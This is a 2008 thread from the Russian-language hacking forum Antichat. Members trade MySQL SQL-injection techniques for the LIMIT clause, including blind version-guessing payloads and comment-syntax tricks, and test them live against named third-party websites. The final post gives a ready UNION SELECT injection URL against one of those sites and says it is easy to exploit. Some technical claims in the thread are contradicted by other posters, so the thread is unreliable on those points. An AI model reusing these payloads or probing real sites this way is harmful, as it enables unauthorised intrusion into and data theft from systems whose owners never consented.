ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

12.11.2008, 21:20
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
в MySQL использовать UNION после ORDER нельзя:
SELECT 1 ORDER BY 1 LIMIT 1 UNION SELECT 1
->
Incorrect usage of UNION and ORDER BY
но просто с LIMIT можно:
SELECT 1 LIMIT 1 UNION SELECT 1;
->
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)
|
|
|

12.11.2008, 21:52
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от jokester
Лично мне о такой возможности ничего не известно (если это мускул разумеется), но как видишь уважаемый prescott хоть и косвенно, но дал понять, что это возможно.
Ну что-ж линк я дал, надеюсь увидеть реализацию.
Union использовать действительно нельзя, но:
Код:
select * from <table_name> order by 1 limit 0,5
Допустим 5 в лимите уязвимый параметр, пишем так:
Код:
http://site.ru/id=5*if(version='5.0.1т.д. и т.п.',1,2)
Получаем
Код:
select * from <table_name> order by 1 limit 0, 5*if(version='5.0.1т.д. и т.п.',1,2)
Если вернуло пять записей - угадал версию, если десять - не угадал. Пишешь сплоит который перебирает посимвольно и дело в шляпе.
И подзапросы в mysql тоже никто не отменял кстати.
Последний раз редактировалось prescott; 12.11.2008 в 21:55..
|
|
|

12.11.2008, 21:58
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
2prescott и почему же тогда в данном случае не работает?
|
|
|

12.11.2008, 22:02
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
2prescott и почему же тогда в данном случае не работает?
Я думаю что в случае с formz.ru стоит другой сервер базы данных, поэтому и прошу помощи ачатовцев. С распространенными БД я сам могу в большинстве случаев справиться, тут просто какая то некандиция...
Например такой запрос прокатывает, следовательно ; для этой БД означает конец запроса, ошибки ведь не возникает, заметь!
Код:
http://formz.ru/nb/public/faq/view?table.question_list.limit=2;%20select%201--
А если вместо точки с запятой поставить например дефис, вылетает критическая ошибка.
Последний раз редактировалось prescott; 12.11.2008 в 22:06..
|
|
|

12.11.2008, 22:04
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
2prescott
почему тут не получается? вроде все как ты описывал, помоги разобраться
http://www.contactphoto.com/archive.php?search=&limit=1
вроде тогда один из двух вариантов должен был сработать
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*
или
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*
Последний раз редактировалось truelamer; 12.11.2008 в 22:09..
|
|
|

12.11.2008, 22:09
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
@prescott
подзапросы после лимита или в его аргументе нельзя использовать, можно только добавить UNION SELECT и то при условии, что перед лимитом нет ORDER BY
Если вернуло пять записей - угадал версию, если десять - не угадал. Пишешь сплоит который перебирает посимвольно и дело в шляпе.
не будет так работать, даже такой запрос возвращает ошибку:
select 1 order by 1 limit 1,5*1;
|
|
|

12.11.2008, 22:11
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
2prescott
почему тут не получается? вроде все как ты описывал, помоги разобраться
http://www.contactphoto.com/archive.php?search=&limit=1
вроде тогда один из двух вариантов должен был сработать
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=34,1,2)/*
или
http://www.contactphoto.com/archive.php?search=&limit=1,2*if(ascii(substr(vers ion(),1,1))=35,1,2)/*
Потомучто это не mysql и не mssql, ибо запрос http://www.contactphoto.com/archive.php?search=&limit=1,2-- ругается на --, что для них должно однозначно трактоваться как комментарий.
UPD: был не прав, ошибка пишет что это действительно mysql...
Последний раз редактировалось prescott; 12.11.2008 в 22:14..
|
|
|

12.11.2008, 22:13
|
|
Участник форума
Регистрация: 06.11.2007
Сообщений: 143
Провел на форуме: 350782
Репутация:
81
|
|
это не mssql
тема закрыта, если есть order by то можно не расчитывать на иньекцию.
|
|
|

12.11.2008, 22:15
|
|
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
Провел на форуме: 3244717
Репутация:
1980
|
|
Потомучто это не mysql и не mssql, ибо запрос http://www.contactphoto.com/archive.php?search=&limit=1,2-- ругается на --, что для них должно однозначно трактоваться как комментарий.
бред, ты хоть в ошибки смотри это MySQL. Насчет --, уже сотый раз говорю, что в MySQL нужно ставить пробел после него
http://www.contactphoto.com/archive.php?search=&limit=1,2--%20
|
|
|

12.11.2008, 22:25
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 158
Провел на форуме: 728470
Репутация:
115
|
|
Сообщение от truelamer
это не mssql
тема закрыта, если есть order by то можно не расчитывать на иньекцию.
кстати, если тебе всетаки нужен тот сайт, то инъекция есть тут, да и крутится легко:
Код:
http://www.contactphoto.com/view.php?sec=programs&eventid=1290+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4/*
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|